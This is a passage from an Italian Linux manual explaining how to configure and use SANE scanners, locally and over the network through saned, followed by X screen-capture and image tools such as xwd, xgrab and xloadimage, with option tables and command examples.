Per poter accedere a uno scanner remoto messo a disposizione tramite il programma '**`saned`**', occorre predisporre localmente il file '`/etc/sane.d/net.conf`' con l'indirizzo o il nome dell'elaboratore che ospita questo servizio:

```
#
# net.conf
#
192.168.1.2
```

Secondo questo esempio si prevede di poter accedere a uno scanner presso l'elaboratore con indirizzo IPv4 192.168.1.2.

34.1.4 Gruppo «scanner»

Quando l'utilizzo di SANE è già predisposto dalla propria distribuzione GNU o BSD, dovrebbe essere stato previsto il gruppo di utenti denominato '**`scanner`**', con il quale si potrebbe controllare l'accesso allo scanner stesso. Basta controllare nel file '`/etc/group`':

```
...
scanner:x:106:tizio,caio,sempronio,mevio,filano,martino,calpurnio
...
```

Quello che si vede nell'esempio è la situazione che si trova con NLNX, dove gli utenti '**`tizio`**', '**`caio`**', '**`sempronio`**', '**`mevio`**' e '**`filano`**' risultano aggregati a questo gruppo.

Generalmente, l'utilità di questa procedura serve a dare i permessi adatti ai file di dispositivo; tuttavia, tale meccanismo dovrebbe funziona anche con gli scanner USB quando si utilizza Libusb.

Se però si accede attraverso la rete, i permessi di accesso ai file di dispositivo perdono di significato, in quanto si comunica direttamente con il servente '**`saned`**'. In pratica, per consentire l'accesso allo scanner per tutti gli utenti, conviene attivare l'accesso tramite la rete, magari anche solo localmente.

34.1.5 Individuazione dello scanner locale

Per poter usare uno scanner attraverso uno dei vari programmi frontali bisogna poterlo individuare. Per fare questo si usa una stringa piuttosto articolata, che ha fondamentalmente la sintassi seguente:

nome_backend **:** ***dispositivo***

In pratica, prima dei due punti va messo un nome scelto tra quelli che appaiono nel file di configurazione '`/etc/sane.d/dll.conf`'; si osservi però che la scelta non è sempre ovvia. Nella seconda parte, dopo i primi due punti verticali, si indica ciò che serve a raggiungere il dispositivo, ma questa può essere piuttosto articolata. A titolo di esempio ecco come potrebbe essere individuato uno scanner Canon, Canoscan LiDE 20: '**`plustek:libusb:001:002`**'.

Come si comprende, in questo caso il nome associato al tipo di scanner è «plustek» e non «canon» come sarebbe stato logico aspettarsi.

Fortunatamente vengono in aiuto due metodi per cercare di localizzare lo scanner presso il proprio elaboratore: il programma diagnostico '**sane-find-scanner**' e il programma frontale '**scanimage**' usato con l'opzione '**-L**'. Le prime volte conviene agire come utente '**root**':

sane-find-scanner [*Invio*]

```
  # No SCSI scanners found. If you expected something different, make sure that
  # you have loaded a SCSI driver for your SCSI adapter.

found USB scanner (vendor=0x04a9 [Canon], product=0x220d [CanoScan], ↩
↪chip=LM9832/3) at libusb:001:002
  # Your USB scanner was (probably) detected. It may or may not be supported by
  # SANE. Try scanimage -L and read the backend's manpage.

  # Not checking for parallel port scanners.

  # Most Scanners connected to the parallel port or other proprietary ports
  # can't be detected by this program.
```

scanimage -L [*Invio*]

```
device 'plustek:libusb:001:002' is a Canon N670U/N676U/LiDE20 USB ↩
↪flatbed scanner
```

Dei due programmi, il più attendibile è il primo, che però non specifica il nome da usare per lo scanner (nell'esempio è stata evidenziata l'informazione saliente, che però, in questo caso manca del prefisso '**plustek:**').

Quando si dispone di un solo scanner locale e tutto va bene, come dagli esempi mostrati, si possono usare i vari programmi frontali senza bisogno di specificare le coordinate dello scanner.

Non è da escludere che '**sane-find-scanner**' possa trovare uno scanner che '**scanimage -L**' invece non può localizzare.

Il lavoro sul progetto SANE dispone di una discreta quantità di librerie per l'accesso a vari tipi e modelli di scanner. Tuttavia, esistono anche delle librerie imperfette per l'accesso ad altri scanner che altrimenti sarebbero inutilizzabili con SANE. Quando si vuole utilizzare uno scanner per il quale servono queste librerie aggiuntive, è molto probabile che il programma '**sane-find-scanner**' o che '**scanimage -L**' diano informazioni errate o che non trovino proprio lo scanner.

L'esempio seguente è ottenuto collegando due scanner; uno dei quali è il modello HP Scanjet 4200C, a cui si accede con librerie non standard:

sane-find-scanner [*Invio*]

```
  # No SCSI scanners found. If you expected something different, make sure that
  # you have loaded a SCSI driver for your SCSI adapter.

found USB scanner (vendor=0x03f0, product=0x0105) at libusb:001:003
found USB scanner (vendor=0x04a9 [Canon], product=0x220d [CanoScan], ↩
↪chip=LM9832/3) at libusb:001:002
  # Your USB scanner was (probably) detected. It may or may not be supported by
  # SANE. Try scanimage -L and read the backend's manpage.

  # Not checking for parallel port scanners.

  # Most Scanners connected to the parallel port or other proprietary ports
  # can't be detected by this program.
```

`# scanimage -L` [*Invio*]

```
device 'plustek:libusb:001:002' is a Canon N670U/N676U/LiDE20 USB ↩
↪flatbed scanner
```

Dall'esempio risulta chiaro che '**scanimage -L**' non vede lo scanner HP Scanjet 4200C. In questo caso particolare, dalla documentazione originale relativa alla libreria che si occupa di questo scanner, si capisce che le coordinate corrette per individuarlo sono '**hp4200:libusb:001:003**'.

34.1.6 Permessi

Una volta verificato che è possibile raggiungere uno scanner locale utilizzando l'utenza privilegiata '**root**', è necessario stabilire se sia possibile farlo anche con dei privilegi «normali». Da quanto già visto in precedenza, gli utenti associati al gruppo '**scanner**' (o ad altro gruppo analogo se il proprio sistema operativo è organizzato diversamente) dovrebbero avere accesso. Si può fare una verifica, ma per questo occorre un utente a cui sia associato esattamente questo gruppo, magari si può creare proprio un utente fittizio con lo stesso nome nel file '`/etc/passwd`':

```
...
scanner:x:106:106:Scanner test user:/:/bin/false
...
```

Questo esempio è coerente con un altro esempio mostrato a proposito del file '`/etc/group`', dove il numero GID 106 corrisponde proprio al gruppo '**scanner**'.

Per fare la prova, si usa '**su**' per acquisire i privilegi di questo utente fittizio, quindi si tenta di usare '**scanimage**':

`# su -s /bin/sh - scanner` [*Invio*]

`$ scanimage -L` [*Invio*]

Se si ottiene lo stesso elenco che si otterrebbe con i privilegi dell'utente '**root**', si accerta così che l'utente '**scanner**', appartenente al gruppo '**scanner**' può accedere.

Se non funziona occorre risalire ai file che vengono utilizzati: possono essere file di dispositivo o file contenuti all'interno di '/proc/bus/usb/'; lì occorre verificare qual è il gruppo e quali permessi ha il gruppo.

In precedenza è stata mostrata la configurazione relativa al supervisore dei servizi di rete per il controllo del programma '**saned**', che ha lo scopo di offrire l'accesso allo scanner attraverso la rete. In un esempio si vede che il programma verrebbe avviato con i privilegi dell'utente fittizio '**saned**', associato al gruppo '**saned**':

```
...
sane   stream   tcp   nowait   saned.saned   /usr/sbin/tcpd   /usr/sbin/saned
...
```

Per sapere se '**saned**' può accedere realmente allo scanner locale, si può fare lo stesso tipo di prova:

su -s /bin/sh - saned [*Invio*]

$ **scanimage -L** [*Invio*]

Probabilmente, se ha funzionato l'accesso come utente e gruppo '**scanner**', non funziona in questo altro modo; pertanto conviene ritoccare la configurazione del supervisore dei servizi di rete nel modo più appropriato; per esempio così:

```
...
sane   stream   tcp   nowait   scanner.scanner   /usr/sbin/tcpd   /usr/sbin/saned
...
```

34.1.7 Raggiungere uno scanner attraverso la rete

Per raggiungere uno scanner disponibile attraverso la rete, presso un elaboratore in cui è stato configurato '**saned**', come già descritto in questo capitolo, occorre indicare una stringa simile a quanto già descritto a proposito dell'accesso agli scanner locali:

net : ***nodo*** : ***nome_backend_remoto*** : ***dispositivo_remoto***

Per esempio, lo scanner Canon già descritto in precedenza, potrebbe essere raggiunto presso l'elaboratore all'indirizzo IPv4 192.168.1.2 con la stringa seguente:

net:192.168.1.2:plustek:libusb:001:002

Tuttavia, bisogna ricordare di configurare presso l'elaboratore remoto il file '/etc/sane.d/saned.conf' e il file appropriato per il supervisore dei servizi di rete (di solito '/etc/inetd.conf'); inoltre, localmente occorre compilare il file '/etc/sane.d/net.conf' con l'elenco dei nodi di rete remoti che consentono l'accesso allo scanner:

```
#
# /etc/sane.d/net.conf
#
192.168.1.2
192.168.1.3
192.168.1.4
```

Naturalmente, nel file '`/etc/sane.d/net.conf`' si possono indicare gli elaboratori anche per nome, purché il sistema operativo sia in grado di tradurre correttamente tali nomi in indirizzi IP.

Nel caso sia necessario utilizzare indirizzi IPv6, questi vanno indicati racchiudendoli tra parentesi quadre, come già mostrato a proposito del file '`/etc/sane.d/saned.conf`'.

Una volta predisposto tutto correttamente, quando di esegue il comando '**`scanimage -L`**' si ottiene l'elenco completo degli scanner locali e di quelli remoti previsti, purché accessibili effettivamente:

$ **`scanimage -L`** [*Invio*]

```
device 'net:192.168.1.2:plustek:libusb:001:002' is a Canon ↩
↪N670U/N676U/LiDE20 USB flatbed scanner
```

Si osservi che se si vuole consentire l'accesso allo scanner locale a tutti gli utenti, senza bisogno di associare gli utenti a un gruppo particolare, si può predisporre il demone '**`saned`**' con la configurazione necessaria e il file '`/etc/sane.d/net.conf`' con il nome o l'indirizzo dell'elaboratore locale:

```
#
# /etc/sane.d/net.conf
#
127.0.0.1
...
```

L'accesso a uno scanner remoto potrebbe essere limitato ad alcuni utenti che devono fornire una parola d'ordine, attraverso la configurazione del file '`/etc/sane.d/saned.users`', ma questo procedimento non viene descritto e può essere approfondito leggendo la pagina di manuale *saned(8)*.

34.1.7.1 Problemi tra cliente e servente

Quando si cerca di contattare uno scanner remoto, può capitare di non riuscirci, anche se apparentemente è tutto a posto. Per scoprire cosa succede, si possono fare due verifiche: una dal lato cliente, ovvero dalla parte di '**`scanimage`**'; una dal lato servente, ovvero dalla parte di '**`saned`**'. Per cominciare si può avviare '**`scanimage`**' predisponendo una variabile di ambiente appropriata; in un colpo solo si può usare questo comando:

$ **`SANE_DEBUG_NET=128 scanimage -L`** [*Invio*]

Ecco cosa si potrebbe ottenere dallo standard error quando tutto va bene:

```
[sanei_debug] Setting debug level of net to 128.
[net] sane_init: authorize = 0x8049280, version_code = 0xbfffe85c
[net] sane_init: SANE net backend version 1.0.12 (AF-indep+IPv6) ↩
↪from sane-backends 1.0.14
[net] sane_init: Client has little endian byte order
[net] sane_init: searching for config file
[net] sane_init: trying to add 192.168.1.2
[net] add_device: adding backend 192.168.1.2
[net] add_device: backend 192.168.1.2 added
[net] sane_init: done reading config
[net] sane_init: evaluating environment variable SANE_NET_HOSTS
[net] sane_init: done
[net] sane_get_devices: local_only = 0
[net] connect_dev: trying to connect to 192.168.1.2
[net] connect_dev: [0] connection succeeded (IPv4)
[net] connect_dev: sanei_w_init
[net] connect_dev: net_init (user=tizio, local version=1.0.3)
[net] connect_dev: freeing init reply (status=Success, remote version=1.0.3)
[net] connect_dev: done
[net] sane_get_devices: got 192.168.1.2:plustek:libusb:001:002
[net] sane_get_devices: finished (1 devices)
[net] sane_exit: exiting
[net] sane_exit: closing dev 0x808bd70, ctl=21
[net] sane_exit: finished.
```

Se invece le cose vanno male e la controparte non risponde, si può provare dal lato servente, avviando '**saned**' al di fuori del controllo del supervisore dei servizi di rete (bisogna modificare temporaneamente la configurazione del supervisore dei servizi di rete in modo che non intercetti le chiamate alla porta 6566):

su -s /bin/sh - scanner [*Invio*]

$ **saned -d128** [*Invio*]

In questo modo, '**saned**' resta in ascolto per una sola chiamata, alla quale risponde, quindi termina di funzionare. Ecco come potrebbe essere il risultato che si ottiene dallo standard error quando tutto va bene:

```
[saned] main: starting debug mode (level 128)
[saned] main: trying to get port for service 'sane' (getaddrinfo)
[saned] main: [0] socket () using IPv6
[saned] main: [0] setsockopt ()
[saned] main: [0] bind () to port 6566
[saned] main: [0] listen ()
[saned] main: [1] socket () using IPv4
[saned] main: [1] setsockopt ()
[saned] main: [1] bind () to port 6566
[saned] main: [1] bind failed: Address already in use
[saned] main: waiting for control connection
[saned] saned (AF-indep+IPv6) from sane-backends 1.0.14 ready
[saned] check_host: detected an IPv4-mapped address
[saned] check_host: access by remote host: ::ffff:192.168.1.1
```

```
[saned] check_host: remote host is not IN_LOOPBACK nor IN6_LOOPBACK
[saned] check_host: local hostname: nanohost
[saned] check_host: local hostname(s) (from DNS): 127.0.0.1
[saned] check_host: local hostname(s) (from DNS): 127.0.0.1
[saned] check_host: local hostname(s) (from DNS): 127.0.0.1
[saned] check_host: remote host doesn't have same addr as local
[saned] check_host: opening config file: /etc/hosts.equiv
[saned] check_host: can't open config file: /etc/hosts.equiv ↩
↪(No such file or directory)
[saned] check_host: opening config file: saned.conf
[saned] check_host: config file line: '#'
[saned] check_host: config file line: '# saned.conf'
[saned] check_host: config file line: '#'
[saned] check_host: config file line: ''
[saned] check_host: config file line: '192.168.0.0/16'
[saned] check_host: subnet with base IP = 192.168.0.0, CIDR netmask = 16
[saned] check_host: config file line: '172.16.0.0/12'
[saned] check_host: subnet with base IP = 172.16.0.0, CIDR netmask = 12
[saned] check_host: access granted from IP address 192.168.1.1 ↩
↪(in subnet 192.168.1.1/16)
[saned] init: access granted
[saned] init: access granted to tizio@::ffff:192.168.1.1
[saned] process_request: waiting for request
[saned] process_request: got request 1
[saned] process_request: waiting for request
[saned] process_request: got request 10
[saned] quit: exiting
```

34.1.8 Utilizzo di «scanimage»

Il programma '**scanimage**' [3] è il programma frontale più importante per l'utilizzo dello scanner attraverso SANE:

scanimage [***opzioni_generali***] [***opzioni_dello_scanner***]

Il programma prevede un gruppo di opzioni generali e un altro gruppo di opzioni particolari che dipende dalle caratteristiche della libreria usata per comunicare con lo scanner. Si ottiene l'elenco di queste opzioni aggiuntive con l'ausilio dell'opzione '**-h**'.

Tabella 34.22. Alcune opzioni generali.

Opzione	Descrizione
-L --list-devices	Questa opzione viene usata da sola per ottenere l'elenco degli scanner che il programma è in grado di individuare automaticamente.
-d ***dispositivo*** --device-name ***dispositivo***	Serve a specificare a quale scanner ci si vuole rivolgere. L'argomento dell'opzione è la stringa di riconoscimento dello scanner, come già mostrato, per esempio '**plustek:libusb:001:002**'.
--format pnm|tiff	Serve a specificare il formato del file da creare; se non si utilizza questa opzione, si ottiene un formato PNM.

Opzione	Descrizione
`-n` `--dont-scan`	Simula l'operazione, senza eseguirla veramente.
`-T` `--test`	Esegue una serie di verifiche per accertare la compatibilità di funzionamento.
`-h` `--help`	Mostra una guida sintetica all'uso del programma, completa delle opzioni specifiche degli scanner individuati automaticamente.

La scansione di un'immagine attraverso '**`scanimage`**' viene ottenuta dallo standard output di questo. Segue la descrizione di alcuni esempi.

- `$` **`scanimage -L`** [*Invio*]

  Restituisce un elenco di scanner che possono essere individuati facilmente.

- `$` **`scanimage > copia.pnm`** [*Invio*]

  Esegue una scansione attraverso lo scanner predefinito (presumibilmente l'unico che venga individuato), usando opzioni predefinite, per generare il file '`copia.pnm`'.

- `$` **`scanimage -d hp4200:libusb:001:003 > copia.pnm`** [*Invio*]

  Esegue una scansione attraverso lo scanner locale individuato dalla stringa '**`hp4200:libusb:001:003`**', usando opzioni predefinite, per generare il file '`copia.pnm`'.

- `$` **`scanimage -d net:192.168.1.2:hp4200:libusb:001:003 > copia.pnm`** [*Invio*]

  Esegue una scansione attraverso lo scanner di rete individuato dalla stringa '**`net:192.168.1.2:hp4200:libusb:001:003`**', usando opzioni predefinite, per generare il file '`copia.pnm`'. Evidentemente lo scanner in questione si trova presso l'elaboratore 192.168.1.2.

- `$` **`scanimage -h -d hp4200:libusb:001:003`** [*Invio*]

  Richiede le opzioni specifiche dello scanner locale individuato dalla stringa '**`net:192.168.1.2:hp4200:libusb:001:003`**'.

- `$` **`scanimage -d hp4200:libusb:001:003 --resolution 300 > copia.pnm`** [*Invio*]

  Esegue una scansione attraverso lo scanner locale individuato dalla stringa '**`hp4200:libusb:001:003`**', a una risoluzione di 300 punti per pollice, per generare il file '`copia.pnm`'.

34.1.9 Altri programmi frontali

Esiste una grande varietà di programmi frontali per SANE, che utilizzano la grafica X. Il primo di questi che vale la pena di conoscere è Xscanimage,[4] che, come suggerisce il nome, è il fratello grafico di '**`scanimage`**', anche se non dispone delle stesse opzioni:

```
xscanimage [opzioni] [dispositivo]
```

Come si vede dalla sintassi, l'indicazione della stringa dello scanner, se fornita, avviene alla fine della riga di comando, senza un'opzione che la introduca.

Figura 34.23. Xscanimage con la finestra dell'anteprima aperta, dove è stato selezionato un rettangolo da scandire.

Xsane[5] è un altro programma, un po' più sofisticato, per il controllo della scansione delle immagini:

```
xsane [opzioni] [dispositivo]
```

Figura 34.24. Xsane con la finestra dell'anteprima aperta, dove è stato selezionato un rettangolo da scandire.

Il limite di alcuni programmi frontali per SANE sta nell'impossibilità di specificare espressamente l'uso di un certo scanner, cosa che diventa indispensabile quando il sistema di autorilevamento non funziona come dovrebbe. Molti programmi di disegno, come Gimp per fare un esempio, consentono l'acquisizione delle immagini da scanner, con l'ausilio di uno dei vari programmi frontali comuni; purtroppo, in questo modo è praticamente obbligatorio affidarsi al sistema di autorilevamento dello scanner.

34.1.10 Pagine di manuale

SANE è accompagnato generalmente da una serie di pagine di manuale specifiche per ogni contesto. La tabella successiva riepiloga alcune di queste pagine; per avere l'elenco completo basta usare il comando:

$ **`apropos sane`** [*Invio*]

Tabella 34.25. Alcune pagine di manuale di SANE.

Pagina di manuale	Descrizione
sane-dll(5)	Descrive la configurazione generale del sistema di librerie dinamiche.
sane-find-scanner(1)	Descrive l'utilizzo e il funzionamento del programma '**`sane-find-scanner`**'.
sane-usb(5)	Contiene delle informazioni utili all'utilizzo di uno scanner USB.
sane-scsi(5)	Contiene delle informazioni utili all'utilizzo di uno scanner SCSI.
saned(8)	Descrive il funzionamento e l'utilizzo di '**`saned`**' per consentire l'accesso remoto allo scanner locale.
sane-...(5)	Le pagine di manuale il cui nome inizia per '**`sane-`**' e termina con il nome usato per individuare la gestione di un certo gruppo di scanner (*backend*), descrivono le caratteristiche particolari della libreria relativa.

Pagina di manuale	Descrizione
sane-net(5)	Descrive la modalità di accesso a uno scanner remoto.

34.2 Gestione delle immagini

La prima cosa che si desidera fare quando si dispone di un ambiente grafico, quale è X, è quella di poter disegnare ed elaborare immagini. I primi programmi realizzati per questo scopo, rimanendo nell'ambito del software libero, sono un po' strani e non uniformi tra loro per quanto riguarda il loro utilizzo. I programmi più recenti sono più pratici per l'utente medio, ma conviene comunque tenere conto anche di quelli più vecchi, che possono essere utili in situazioni particolari.

34.2.1 Programmi specifici per la cattura dallo schermo

Per preparare documentazione tecnica su applicativi per X è indispensabile poter catturare delle immagini dallo schermo stesso. I programmi che permettono di fare questo potrebbero avere un limite nella profondità di colori delle immagini; in generale non dovrebbero esserci problemi quando si opera con una profondità di 8 bit (256 colori).

34.2.1.1 Utilizzo di «xwd»

Il programma '**xwd**'[6] permette di catturare delle immagini dallo schermo di X. L'immagine ottenuta viene emessa attraverso lo standard output, di conseguenza, questo viene ridiretto quasi sempre, ovvero viene trattato attraverso un condotto. Quando il programma viene avviato, appare immediatamente un puntatore particolare e basta fare un clic sulla finestra che si intende catturare.

```
xwd [opzioni]
```

Tabella 34.26. Alcune opzioni.

Opzione	Descrizione
`-nobdrs`	Non include i bordi della finestra.
`-frame`	Include anche la cornice del gestore di finestre.
`-out` *file*	Permette di specificare un file di destinazione diverso dallo standard output.
`-root`	Cattura tutta la superficie grafica.

- `$` **`xwd > pippo`** [*Invio*]

  Avvia '**xwd**' in modo da catturare un'immagine e di ottenere il file '`pippo`' come risultato.

- `$` **`xwd -frame > pippo`** [*Invio*]

Avvia '**xwd**' in modo da catturare una finestra completa di cornice. Come nell'esempio precedente, viene creato il file '`pippo`'.

34.2.1.2 Utilizzo di «xwud»

Il programma '**xwud**'[7] permette di visualizzare immagini generate con il programma '**xwd**'. L'immagine viene ottenuta dallo standard input e viene emessa in una finestra indipendente. L'utilità di '**xwud**' sta nella possibilità di controllare il contenuto dei file ottenuti con '**xwd**' prima di altri trattamenti eventuali.

```
xwud [opzioni]
```

Segue la descrizione di alcuni esempi.

- `$` **`xwd | xwud -display roggen.brot.dg:0.0`** [*Invio*]

  Avvia '**xwd**' in modo da catturare un'immagine che poi passa a '**xwud**' per la visualizzazione su un elaboratore remoto.

- `$` **`xwd | tee pippo | xwud -display roggen.brot.dg:0.0`** [*Invio*]

  Avvia '**xwd**' in modo da catturare un'immagine che poi passa a '**tee**', il quale la salva nel file '`pippo`' e la passa anche a '**xwud**' per la visualizzazione sullo schermo locale (o comunque su quello predefinito).

34.2.1.3 Utilizzo di «xgrab»

Il programma '**xgrab**',[8] attraverso '**xgrabsc**', permette la cattura di immagini in modo relativamente semplice. In pratica, il programma che compie realmente il lavoro è '**xgrabsc**', ma richiede l'uso di opzioni dettagliate, mentre '**xgrab**' funge da interfaccia frontale a questo. Il vantaggio fondamentale nell'usare '**xgrab**' invece di '**xwd**' sta nell'intervallo di tempo lasciato a disposizione dal momento in cui si conferma l'azione che si vuole compiere al momento in cui si deve selezionare la zona da catturare. Ciò consente, per esempio, di richiamare una finestra in primo piano o di fare qualche altra piccola operazione. Un'altra particolarità importante di questo programma sta nella possibilità di scegliere il formato del file di destinazione.

```
xgrab
```

Il programma '**xgrab**' non è parte dei programmi di servizio standard di X, ma è comunque raggiungibile facilmente attraverso la rete.

Figura 34.27. Il programma '**`xgrab`**' impostato per catturare una finestra intera, completa di cornice, e generare il file '`screen1.dmp`' in formato '**`ppm`**'.

34.2.2 Xloadimage

Xloadimage[9] è un applicativo per la gestione di immagini, semplice ma efficace. Il nome suggerisce che possa servire per caricare e visualizzare delle immagini, ma in più permette di trasformare un'immagine in un formato differente e di modificare alcune regolazioni essenziali. Non si tratta di un sistema completo per la gestione e il ritocco di immagini, ma le funzioni che mette a disposizione sono molto importanti.

34.2.2.1 Avvio del programma

L'eseguibile '**`xloadimage`**' prevede due tipi di opzioni: globali e particolari. Le prime devono apparire nella prima parte degli argomenti della riga di comando, mentre le altre precedono l'indicazione dell'immagine a cui si riferiscono. Le opzioni particolari vanno quindi messe davanti al nome di ogni immagine che si intende trattare (sempre che ce ne sia bisogno). Eventualmente, è possibile fare in modo che '**`xloadimage`**' utilizzi lo standard input, per questo si deve utilizzare il nome '**`stdin`**' al posto dell'indicazione di un'immagine.[10]

`xloadimage` [*opzioni_globali*] { [[*opzioni_dell'immagine*] ***immagine***] }...

```
xloadimage [opzioni_globali] [opzioni_dell'immagine] stdin
```

Xloadimage ha due pseudonimi: '**xsetbg**' e '**xview**'. Il primo equivale a '**xloadimage -onroot -quiet**' mentre il secondo equivale a '**xloadimage -view -verbose**'.

Quando Xloadimage viene utilizzato per visualizzare un gruppo di immagini, è possibile usare alcuni tasti per passare da un'immagine all'altra e per terminare l'esecuzione:

Tasto	Funzione
[*n*]	passa all'immagine successiva;
[*barra-spaziatrice*]	passa all'immagine successiva;
[*p*]	torna all'immagine precedente;
[*q*]	fine lavoro.

Se l'immagine non è contenuta completamente nella sua finestra, la si può fare scorrere con l'aiuto del mouse, premendo il primo tasto e trascinando nella direzione desiderata.

34.2.2.2 Opzioni globali

Le opzioni globali hanno effetto su tutte le immagini su cui si opera. Data la loro funzione è opportuno che siano collocate prima dell'indicazione delle opzioni particolari, ma sempre prima dei file.

Tabella 34.29. Finestra.

Opzione	Descrizione
`-fullscreen`	Utilizza tutto lo schermo per visualizzare ogni immagine.
`-geometry` ***geometria***	Questa opzione funziona nel modo solito: determina le dimensioni della finestra.
`-onroot`	Colloca l'immagine nella finestra principale, utilizzandola come fondale. Quando Xloadimage viene avviato con lo pseudonimo '**xsetbg**', questa opzione è predefinita.
`-view`	Visualizza le immagini in una finestra, invece che utilizzare la finestra principale. Questa opzione è attiva in modo predefinito nel caso in cui il programma venga avviato con il suo nome o anche con lo pseudonimo '**xview**'.

Tabella 34.30. Colori.

Opzione	Descrizione
`-border` ***colore***	Definisce il colore di fondo delle zone che non sono coperte dall'immagine da visualizzare.
`-visual` ***tipo_visualizzazione***	Permette di specificare in modo esplicito il tipo di visualizzazione desiderato. I tipi disponibili sono: '**DirectColor**', '**TrueColor**', '**PseudoColor**', '**StaticColor**', '**GrayScale**', '**StaticGray**'.

Tabella 34.31. Formati.

Opzione	Descrizione
`-dump` ***formato*** [***, opzione***] ↩ ↪***file_da_generare***	Permette di generare un file contenente l'immagine nel formato specificato. Le opzioni di formato dipendono dal tipo di questo e possono esserne indicate diverse, separandole con una virgola (senza spazi). A seconda del tipo di formato di immagine e del tipo di opzione, potrebbe essere necessario aggiungere un attributo a questa, nella forma '***opzione*=*valore***'. La tabella 34.40 mostra i tipi di formato leggibili e quelli in cui è possibile salvare.
`-type` ***tipo_immagine***	Forza Xloadimage a utilizzare un formato determinato per caricare un'immagine. Normalmente è il programma stesso a determinare autonomamente di quale tipo si tratti

Tabella 34.32. Informazioni.

Opzione	Descrizione
`-configuration`	Mostra la configurazione di Xloadimage. La configurazione viene descritta più avanti.
`-supported`	Emette, attraverso lo standard output, un elenco di formati di immagini gestiti.
`-help` [***opzione***...]	Permette di ottenere informazioni su una o più opzioni. Se non ne vengono specificate, inizia una modalità interattiva, attraverso la quale è possibile ottenere brevi guide alle opzioni indicate durante tale sessione.
`-identify`	Invece di visualizzare le immagini, si ottiene solo la loro identificazione, con una serie di messaggi emessi attraverso lo standard output.

Tabella 34.33. Varie.

Opzione	Descrizione
`-delay` ***secondi***	Determina una durata di permanenza di ogni immagine. Serve per permettere uno scorrimento automatico delle immagini indicate come argomento, come una sequenza di diapositive. Senza l'indicazione di questo valore, è l'utente che deve agire per visualizzare l'immagine successiva.
`-fork`	Fa in modo di dissociare Xloadimage dalla shell dalla quale è stato eseguito. In pratica, con questa opzione, il processo elaborativo diventa un figlio del processo iniziale (Init), disimpegnandosi dalla shell che lo ha generato.
`-verbose`	Fa in modo che Xloadimage dia delle informazioni, attraverso lo standard output, sulle caratteristiche dell'immagine. Questa opzione è attiva in modo predefinito nel caso l'eseguibile venga avviato con il suo nome normale o anche con lo pseudonimo '**`xview`**'.

Segue la descrizione di alcuni esempi.

- `$` **`xloadimage -onroot fondale.jpg`** [*Invio*]

  Carica l'immagine '`fondale.jpg`' e la colloca sulla finestra principale, cioè sullo sfondo della superficie grafica.

- $ **xloadimage -dump jpeg,quality=50 prova.jpg immagine.gif** [*Invio*]

  Carica l'immagine '`immagine.gif`' e la salva in formato JPEG, con il nome '`prova.jpg`', riducendo la sua qualità.

34.2.2.3 Opzioni particolari

Le opzioni particolari hanno effetto solo sull'immagine che precedono (nella riga di comando). Alcune opzioni particolari possono essere generalizzate, cioè riferite a più immagini, attraverso l'opzione '**`-global`**'.

Tabella 34.34. Validità delle opzioni.

Opzione	Descrizione
`-global`	Inizia una serie di opzioni (successive) riferite a tutti i file di immagini che seguono nella riga di comando, eventualmente fino al raggiungimento di un'opzione '**`-newoptions`**'. Eventuali opzioni particolari inserite davanti a un'immagine particolare, possono servire per alterare temporaneamente queste impostazioni globali.
`-newoptions`	Azzera le opzioni fissate globalmente.

Tabella 34.35. Bianco e nero: e immagini che hanno solo due colori, solitamente bianco e nero, possono essere alterate in modo da sostituire tali colori.

Opzione	Descrizione
`-background` ***colore***	Con questa opzione si sostituisce il «bianco» delle immagini a due colori.
`-foreground` ***colore***	Con questa opzione si sostituisce il «nero» delle immagini a due colori.
`-invert`	Inverte i colori di un'immagine a due colori.

Tabella 34.36. Effetti.

Opzione	Descrizione
`-brighten` ***percentuale_luminosità***	Permette di definire la percentuale della luminosità dell'immagine. 100 equivale a lasciare inalterata l'immagine.
`-colors` ***numero_colori***	Permette di fissare il numero massimo di colori. È un mezzo per ridurre i colori di un'immagine.
`-halftone`	Trasforma l'immagine in una monocromatica (due colori) utilizzando una tecnica molto semplice, che di solito espande notevolmente l'immagine.
`-dither`	Trasforma l'immagine in una monocromatica (due colori) utilizzando l'algoritmo Floyd-Steinberg che offre un effetto decisamente migliore di quanto si ottiene con l'opzione '**`-halftone`**'.
`-gamma` ***valore***	Permette di effettuare una correzione di gamma in funzione delle caratteristiche del monitor che si utilizza. Il valore predefinito, quando questa opzione non viene utilizzata, è 1.0, mentre un monitor tipico può richiedere valori da 2.0 a 2.5.

Opzione	Descrizione
`-gray` `-grey`	Converte i colori di un'immagine in modo che si utilizzino solo dei grigi.
`-smooth`	Ammorbidisce l'immagine, un po' come se fosse sfuocata. Serve in particolare per addolcire l'effetto che si ottiene quando un'immagine viene ingrandita. Questa opzione può essere indicata più volte in modo da ottenere più passaggi.

Tabella 34.37. Tagliare, copiare e incollare.

Opzione	Descrizione
`-clip` ***x*,*y*,*larghezza*,*altezza***	Preleva solo una porzione dell'immagine. Si parte dalle coordinate ***x*,*y*** e da lì si preleva un rettangolo della larghezza e altezza indicati (verso destra e verso il basso). Se la larghezza o l'altezza sono lasciati a zero, si intende tutta l'estensione rimanente dell'immagine.
`-at` ***x*,*y***	Questa opzione è riferita particolarmente a un'immagine successiva alla prima. La prima immagine viene indicata come immagine base e su di essa è possibile sovrapporne un'altra a partire dalla posizione indicata dalle coordinate di questa opzione.
`-merge`	Permette di fondere l'immagine, dopo un'eventuale rielaborazione, sull'immagine base. Questa opzione viene utilizzata normalmente in combinazione a '**`-at`**' e '**`-clip`**'.

Tabella 34.38. Rotazioni e ridimensionamento.

Opzione	Descrizione
`-rotate` ***gradi***	Ruota l'immagine della quantità di gradi indicata. Si possono utilizzare solo multipli di 90.
`-zoom` ***percentuale***	Ridimensiona l'immagine della percentuale indicata. Il valore 100 rappresenta la dimensione normale.
`-xzoom` ***percentuale***	Ridimensiona l'immagine in orizzontale: la allarga o la restringe.
`-yzoom` ***percentuale***	Ridimensiona l'immagine in verticale: la allunga o la accorcia.

Segue la descrizione di alcuni esempi.

- `$` **`xloadimage -zoom 200 esempio.jpg`** [*Invio*]

  Carica l'immagine '`esempio.jpg`', ingrandendola al doppio della sua dimensione originale (200 %).

- `$` **`xloadimage pippo.jpg -merge -at 50,50 -clip 50,50,100,100`** ↩
  ↪**`-brighten 150 pippo.jpg`** [*Invio*]

  Carica l'immagine '`pippo.jpg`', quindi carica nuovamente una parte della stessa immagine e, dopo averla schiarita, la fonde con la versione caricata precedentemente, nella stessa posizione di partenza del pezzetto ritagliato. In pratica, si ottiene di schiarire un'area dell'immagine originale.

34.2.2.4 Opzioni del tipo di immagine

